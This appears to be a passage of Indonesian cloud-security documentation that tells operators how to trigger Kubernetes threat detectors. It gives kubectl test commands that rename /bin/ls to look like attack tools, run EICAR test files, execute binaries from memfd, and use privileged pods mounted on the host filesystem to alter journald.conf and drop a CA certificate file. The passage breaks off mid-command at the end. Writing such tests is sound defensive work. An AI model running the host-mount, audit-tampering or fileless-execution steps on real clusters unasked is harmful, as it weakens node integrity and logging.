Untuk memicu temuan Credential Access: Search Private Keys or Passwords, program biner yang dapat menelusuri konten file harus dieksekusi dalam container. Contoh ini menggunakan image Ubuntu 24.04 terbaru. Contoh ini menyalin /bin/ls dan mengganti namanya menjadi find (atau aplikasi utilitas penelusuran lain yang sesuai seperti grep). Program biner yang diganti namanya kemudian dieksekusi dengan argumen yang menentukan pola penelusuran yang menunjukkan kunci pribadi atau sandi, atau pola konten yang menunjukkan sandi atau rahasia. Tindakan ini ditandai sebagai mencurigakan karena meniru perilaku yang diamati saat mencoba menemukan informasi sensitif seperti kunci pribadi atau sandi dalam lingkungan yang dalam container.

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses bidang kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Jalankan biner alat penelusuran seperti find dengan argumen yang sesuai:

    • Node x86:

      tag="ktd-test-search-private-keys-or-pw-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/find; /tmp/find id_rsa"
      
    • Node ARM:

      tag="ktd-test-search-private-keys-or-pw-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/find; /tmp/find id_rsa"
      

Prosedur pengujian ini membuat temuan Credential Access: Search Private Keys or Passwords yang dapat Anda lihat di Security Command Center, dan di Cloud Logging jika Anda telah mengonfigurasi Logging untuk Container Threat Detection. Temuan hanya dapat dilihat di Cloud Logging jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center.

Penghindaran Pertahanan: Command Line File ELF Base64

Untuk memicu temuan Defense Evasion: Base64 ELF File Command Line, suatu proses harus memiliki base64 sebagai argumen dan f0VMRgIB sebagai argumen yang merupakan bentuk ELF berenkode base64. Contoh ini menggunakan image Ubuntu 24.04 terbaru. base64 kemudian dieksekusi dengan argumen -d dan f0VMRgIB. Tindakan ini ditandai sebagai mencurigakan karena meniru perilaku yang diamati saat mencoba mendekode data biner untuk mengeksekusi kode berbahaya.

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses bidang kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Jalankan biner alat penelusuran seperti find dengan argumen yang sesuai:

    • Node x86:

      tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "base64 -d f0VMRgIB"
      
    • Node ARM:

      tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "base64 -d f0VMRgIB"
      

Prosedur pengujian ini membuat dua temuan Defense Evasion: Base64 ELF File Command Line yang dapat Anda lihat di Security Command Center, dan di Cloud Logging jika Anda telah mengonfigurasi Logging untuk Deteksi Ancaman Container. Melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center. Dua temuan dibuat karena perintah bash -c awal serta eksekusi perintah base64 -d memenuhi kriteria temuan.

Penghindaran Pertahanan: Skrip Python yang Dikodekan Base64 Dieksekusi

Untuk memicu temuan Defense Evasion: Base64 Encoded Python Script Executed, proses harus memiliki echo atau base64 sebagai argumen dan aW1wb3J0IH sebagai argumen yang merupakan bentuk python -c berenkode base64. Contoh ini menggunakan image Ubuntu 24.04 terbaru. echo kemudian dieksekusi dengan argumen aW1wb3J0IH. Tindakan ini ditandai sebagai mencurigakan karena meniru perilaku yang diamati saat mencoba mendekode data biner untuk mengeksekusi kode berbahaya.

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses bidang kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Jalankan biner alat penelusuran seperti find dengan argumen yang sesuai:

    • Node x86:

      tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "echo aW1wb3J0IH"
      
    • Node ARM:

      tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "echo aW1wb3J0IH"
      

Prosedur pengujian ini membuat temuan Defense Evasion: Base64 Encoded Python Script Executed yang dapat Anda lihat di Security Command Center, dan di Cloud Logging jika Anda telah mengonfigurasi Logging untuk Container Threat Detection. Melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center.

Penghindaran Pertahanan: Skrip Shell Berenkode Base64 Dieksekusi

Untuk memicu temuan Defense Evasion: Base64 Encoded Shell Script Executed, proses harus memiliki echo atau base64 sebagai argumen dan IyEvYmluL2Jhc2gK sebagai argumen yang merupakan bentuk #!/bin/bash berenkode base64. Contoh ini menggunakan image Ubuntu 24.04 terbaru. echo kemudian dieksekusi dengan argumen IyEvYmluL2Jhc2gK. Tindakan ini ditandai sebagai mencurigakan karena meniru perilaku yang diamati saat mencoba mendekode data biner untuk mengeksekusi kode berbahaya.

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses bidang kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Jalankan biner alat penelusuran seperti find dengan argumen yang sesuai:

    • Node x86:

      tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "echo IyEvYmluL2Jhc2gK"
      
    • Node ARM:

      tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "echo IyEvYmluL2Jhc2gK"
      

Prosedur pengujian ini membuat temuan Defense Evasion: Base64 Encoded Shell Script Executed yang dapat Anda lihat di Security Command Center, dan di Cloud Logging jika Anda telah mengonfigurasi Logging untuk Container Threat Detection. Melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center.

Penghindaran Pertahanan: Menonaktifkan atau Mengubah Sistem Audit Linux (Pratinjau)

Untuk memicu deteksi Penonaktifan atau Modifikasi Audit Linux, ubah salah satu file konfigurasi terkait audit host. Contoh ini men-deploy image Ubuntu 24.04 terbaru, memasang sistem file root host ke dalam container, lalu mengubah /etc/systemd/journald.conf.

Detektor ini adalah detektor pemantauan file dan memiliki persyaratan versi GKE tertentu.

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses bidang kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Menjalankan biner yang mengubah salah satu file konfigurasi terkait audit host, seperti /etc/systemd/journald.conf.

    • Node x86:

      tag="ktd-test-audit-mod-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never --rm=true -ti --image ubuntu "$tag"\
         --overrides='{"apiVersion": "v1", "spec": {
         "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/systemd/journald.conf"],
         "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
         "securityContext": {"privileged": true},
         "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
         "readOnly": false}]}],
         "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'
      
    • Node ARM:

      tag="ktd-test-audit-mod-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never --rm=true -ti --image ubuntu "$tag"\
         --overrides='{"apiVersion": "v1", "spec": {
         "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/systemd/journald.conf"],
         "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
         "securityContext": {"privileged": true},
         "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
         "readOnly": false}]}],
         "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}],
         "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" }] }}'
      

Prosedur pengujian ini memicu temuan Disable or Modify Linux Audit System yang dapat Anda lihat di Security Command Center dan, jika Anda telah mengonfigurasi Logging untuk Container Threat Detection, di Cloud Logging. Melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center di tingkat organisasi.

Penghindaran Pertahanan: Meluncurkan Alat Compiler Kode Dalam Container

Untuk memicu temuan Defense Evasion: Launch Code Compiler Tool In Container (Pratinjau), alat compiler kode harus dijalankan dalam penampung. Contoh ini menggunakan image Ubuntu 24.04 terbaru. Perilaku ini menyalin /bin/ls dan mengganti namanya menjadi gcc10 (atau compiler lain seperti clang). Perilaku ini ditandai sebagai mencurigakan karena dapat mengindikasikan upaya untuk mengompilasi dan mengeksekusi kode berbahaya dalam penampung untuk menghindari deteksi atau mengubah perilakunya.

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses bidang kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Jalankan biner compiler seperti gcc10 dengan argumen yang sesuai:

    • Node x86:

      tag="ktd-test-launch-code-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/gcc10; /tmp/gcc10 -o /tmp/gcc10.o"
      
    • Node ARM:

      tag="ktd-test-launch-code-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/gcc10; /tmp/gcc10 -o /tmp/gcc10.o"
      

Prosedur pengujian ini membuat temuan Defense Evasion: Launch Code Compiler Tool In Container yang dapat Anda lihat di Security Command Center dan di Cloud Logging jika Anda telah mengonfigurasi Logging untuk Container Threat Detection. Melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center.

Penghindaran Pertahanan: Sertifikat Root Diinstal (Pratinjau)

Untuk memicu deteksi Root Certificate Installed, buat file sertifikat root di host dari container. Contoh ini men-deploy image Ubuntu 24.04 terbaru, memasang sistem file root host ke dalam container. Kemudian, contoh ini membuat file sertifikat kosong di direktori yang sesuai.

Detektor ini adalah detektor pemantauan file dan memiliki persyaratan versi GKE tertentu.

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses bidang kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Instal file sertifikat ke host dari container.

    • Node x86:

      tag="ktd-test-cert-install-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never --rm=true -ti --image ubuntu "$tag"\
         --overrides='{"apiVersion": "v1", "spec": {
         "containers":[{"command": ["sh", "-c", "mkdir -p /host/etc/pki/tls/certs; /bin/touch /host/etc/pki/tls/certs/ca-bundle.crt"],
         "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
         "securityContext": {"privileged": true},
         "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
         "readOnly": false}]}],
         "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'
      
    • Node ARM:

      tag="ktd-test-cert-install-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never --rm=true -ti --image ubuntu "$tag"\
         --overrides='{"apiVersion": "v1", "spec": {
         "containers":[{"command": ["sh", "-c", "mkdir -p /host/etc/pki/tls/certs; /bin/touch /host/etc/pki/tls/certs/ca-bundle.crt"],
         "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
         "securityContext": {"privileged": true},
         "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
         "readOnly": false}]}],
         "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}],
         "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" }] }}'
      

      Prosedur pengujian ini memicu temuan Root Certificate Installed yang dapat Anda lihat di Security Command Center dan, jika Anda telah mengonfigurasi Logging untuk Container Threat Detection, di Cloud Logging. Melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center di tingkat organisasi.

Eksekusi: Menambahkan Eksekusi Biner Berbahaya yang Dieksekusi

Untuk memicu Eksekusi: Menambahkan temuan Malicious Binary Executed, jatuhkan biner berbahaya di penampung Anda dan jalankan. Contoh ini men-deploy image Ubuntu 24.04 terbaru, membuat file berbahaya simulasi, lalu mengeksekusinya. Eksekusi biner tidak terduga karena biner berbahaya yang disimulasikan bukan bagian dari image container asli, dan biner adalah file pengujian EICAR, yaitu file yang diklasifikasikan sebagai berbahaya oleh intelijen ancaman.

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses bidang kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Lepaskan biner EICAR dan jalankan:

    • Node x86:

      tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c \
            "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"
      
    • Node ARM:

      tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- sh -c \
            "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"
      

Prosedur pengujian ini membuat temuan Eksekusi: Menambahkan Eksekusi Biner Berbahaya yang dapat Anda lihat di Security Command Center, dan di Cloud Logging jika Anda telah mengonfigurasi Logging untuk Container Threat Detection. Melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center.

Eksekusi: Memuat Library Berbahaya yang Ditambahkan

Untuk memicu Eksekusi: Temuan Malicious Library Loaded ditambahkan, tambahkan library berbahaya di container Anda dan muat. Contoh ini men-deploy image Ubuntu 24.04 terbaru, membuat library berbahaya simulasi, lalu memuatnya menggunakan mmap. Pemuatan library tidak terduga karena library berbahaya yang disimulasikan bukan bagian dari image container asli dan karena library adalah file pengujian EICAR, yang diklasifikasikan sebagai berbahaya oleh threat intelligence.

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses bidang kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Tambahkan file EICAR dan muat:

    • Node x86:

      tag="ktd-test-added-malicious-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c "
            apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1;
            echo -n '$eicar' > /tmp/test_mal_lib;
            cat << 'EOF' > /tmp/loader.c
      #include <fcntl.h>
      #include <sys/mman.h>
      #include <sys/stat.h>
      #include <unistd.h>
      #include <stdlib.h>
      int main(int argc, char *argv[]) {
         int fd = open(argv[1], O_RDONLY);
         if (fd == -1) return 1;
         struct stat sb;
         if (fstat(fd, &sb) == -1) return 1;
         void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
         if (addr == MAP_FAILED) return 1;
         write(1, addr, sb.st_size);
         munmap(addr, sb.st_size);
         close(fd);
         return 0;
      }
      EOF
            gcc /tmp/loader.c -o /tmp/loader && /tmp/loader /tmp/test_mal_lib
            sleep 10"
      
    • Node ARM:

      tag="ktd-test-added-malicious-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
      "$tag" -- sh -c "
            apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1;
            echo -n '$eicar' > /tmp/test_mal_lib;
            cat << 'EOF' > /tmp/loader.c
      #include <fcntl.h>
      #include <sys/mman.h>
      #include <sys/stat.h>
      #include <unistd.h>
      #include <stdlib.h>
      int main(int argc, char *argv[]) {
         int fd = open(argv[1], O_RDONLY);
         if (fd == -1) return 1;
         struct stat sb;
         if (fstat(fd, &sb) == -1) return 1;
         void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
         if (addr == MAP_FAILED) return 1;
         write(1, addr, sb.st_size);
         munmap(addr, sb.st_size);
         close(fd);
         return 0;
      }
      EOF
            gcc /tmp/loader.c -o /tmp/loader && /tmp/loader /tmp/test_mal_lib
            sleep 10"
      

Prosedur pengujian ini membuat temuan Eksekusi: Memuat Library Berbahaya yang Ditambahkan yang dapat Anda lihat di Security Command Center, dan di Cloud Logging jika Anda telah mengonfigurasi Logging untuk Container Threat Detection. Melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center.

Eksekusi: Escape Container

Untuk memicu temuan Eksekusi: container escape, tempatkan program biner di container Anda dan jalankan. Contoh ini men-deploy image Ubuntu 24.04 terbaru, menyalin /bin/ls ke lokasi lain, mengganti namanya menjadi alat yang mencurigakan (botb-linux-amd64), dan menjalankannya dengan argumen tambahan. Tindakan ini dianggap mencurigakan karena eksekusi ini menyimulasikan perilaku yang konsisten dengan upaya container escape.

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses bidang kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Lepaskan biner alat Eksploitasi Container seperti botb-linux-amd64 dan jalankan:

    • Node x86:

      tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/botb-linux-amd64; /tmp/botb-linux-amd64 -autopwn"
      
    • Node ARM:

      tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/botb-linux-arm64; /tmp/botb-linux-arm64 -autopwn"
      

Prosedur pengujian ini membuat temuan Eksekusi: Pelepasan Kontainer yang dapat Anda lihat di Security Command Center, dan di Cloud Logging jika Anda telah mengonfigurasi Logging untuk Container Threat Detection. Melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center.

Eksekusi: Eksekusi Tanpa File di /memfd:

Untuk memicu temuan Execution: Fileless Execution in /memfd:, proses harus dijalankan dari sistem file dalam memori /memfd:. Contoh ini menggunakan image Python terbaru. Utilitas /bin/ls disalin ke file anonim di /memfd:. Biner yang disalin ini kemudian dieksekusi. Eksekusi biner di bawah /memfd: ditandai sebagai mencurigakan karena meniru perilaku objek yang mencoba dieksekusi dalam memori untuk menghindari deteksi berbasis file.

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses bidang kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Buat container dengan hak istimewa dan buka bash untuk menjalankan perintah:

    • Node x86:

      tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true  -i \
         --image python:latest \
         "$tag" -- python -c "import os,sys,time
      
      time.sleep(10)
      f = open('/bin/ls','rb')
      execdata = f.read()
      f.close()
      fd = os.memfd_create('', 0)
      fname = '/proc/self/fd/{}'.format(fd)
      f = open(fname,'wb')
      f.write(execdata)
      f.close()
      args = ['/bin']
      os.execve(fname, args, os.environ)"
      
    • Node ARM:

      tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true  -i \
         --image python:3-buster \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- python -c "import os,sys,time
      
      time.sleep(10)
      f = open('/bin/ls','rb')
      execdata = f.read()
      f.close()
      fd = os.memfd_create('', 0)
      fname = '/proc/self/fd/{}'.format(fd)
      f = open(fname,'wb')
      f.write(execdata)
      f.close()
      args = ['/bin']
      os.execve(fname, args, os.environ)"
      

Prosedur pengujian ini membuat temuan Execution: Fileless Execution in /memfd: yang dapat Anda lihat di Security Command Center, dan di Cloud Logging jika Anda telah mengonfigurasi Logging untuk Container Threat Detection. Melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center.

Eksekusi: Eksekusi Kerentanan Ingress Nightmare

Untuk memicu Eksekusi: Temuan Eksekusi Kerentanan Ingress Nightmare (Pratinjau), jalankan program biner nginx di container Anda. Contoh ini men-deploy image Ubuntu 24.04 terbaru, menyalin /bin/ls ke lokasi lain, mengganti namanya menjadi program biner Nginx (nginx), dan menjalankannya dengan argumen tambahan yang mereferensikan sistem file /proc. Tindakan ini dianggap mencurigakan karena mensimulasikan perilaku yang konsisten dengan eksploitasi Ingress Nightmare (CVE-2025-1974), sehingga menunjukkan potensi eksekusi kode jarak jauh.

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses bidang kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Buat biner Nginx seperti nginx dan jalankan saat mengakses sistem file /proc:

    • Node x86:

      tag="ktd-test-ingress-nightmare-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/nginx; /tmp/nginx /proc/1/fd/1"
      
    • Node ARM:

      tag="ktd-test-ingress-nightmare-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/nginx; /tmp/nginx /proc/1/fd/1"
      

Prosedur pengujian ini membuat temuan Eksekusi: Kerentanan Ingress Nightmare yang dapat Anda lihat di Security Command Center dan di Cloud Logging jika Anda telah mengonfigurasi Logging untuk Container Threat Detection. Melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center

Eksekusi: Eksekusi Alat Serangan Kubernetes

Untuk memicu Eksekusi: Temuan Eksekusi Alat Serangan Kubernetes, tempatkan biner di container Anda dan jalankan. Contoh ini men-deploy image Ubuntu 24.04 terbaru, menyalin /bin/ls ke lokasi lain, mengganti namanya menjadi alat yang mencurigakan (amicontained), dan menjalankannya. Tindakan ini dianggap mencurigakan karena menyimulasikan perilaku yang konsisten dengan potensi upaya eksekusi alat serangan Kubernetes.

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses bidang kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Lepaskan biner alat Serangan Kubernetes seperti amicontained dan jalankan:

    • Node x86:

      tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/amicontained; /tmp/amicontained"
      
    • Node ARM:

      tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/amicontained; /tmp/amicontained"
      

Prosedur pengujian ini membuat temuan Eksekusi: Eksekusi Alat Serangan Kubernetes yang dapat Anda lihat di Security Command Center, dan di Cloud Logging jika Anda telah mengonfigurasi Logging untuk Container Threat Detection. Melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center.

Eksekusi: Eksekusi Alat Pengintaian Lokal

Untuk memicu temuan Execution: Local Reconnaissance Tool Execution, tempatkan program biner di container Anda dan jalankan. Contoh ini men-deploy image Ubuntu 24.04 terbaru, menyalin /bin/ls ke lokasi lain, mengganti namanya menjadi alat yang mencurigakan (linenum.sh), dan mengeksekusinya. Tindakan ini dianggap mencurigakan karena menjalankan program biner yang diganti namanya akan menyimulasikan perilaku yang konsisten dengan upaya pengintaian lokal.

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses bidang kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Perkenalkan biner alat Local Reconnaissance seperti linenum.sh dan jalankan:

    • Node x86:

      tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
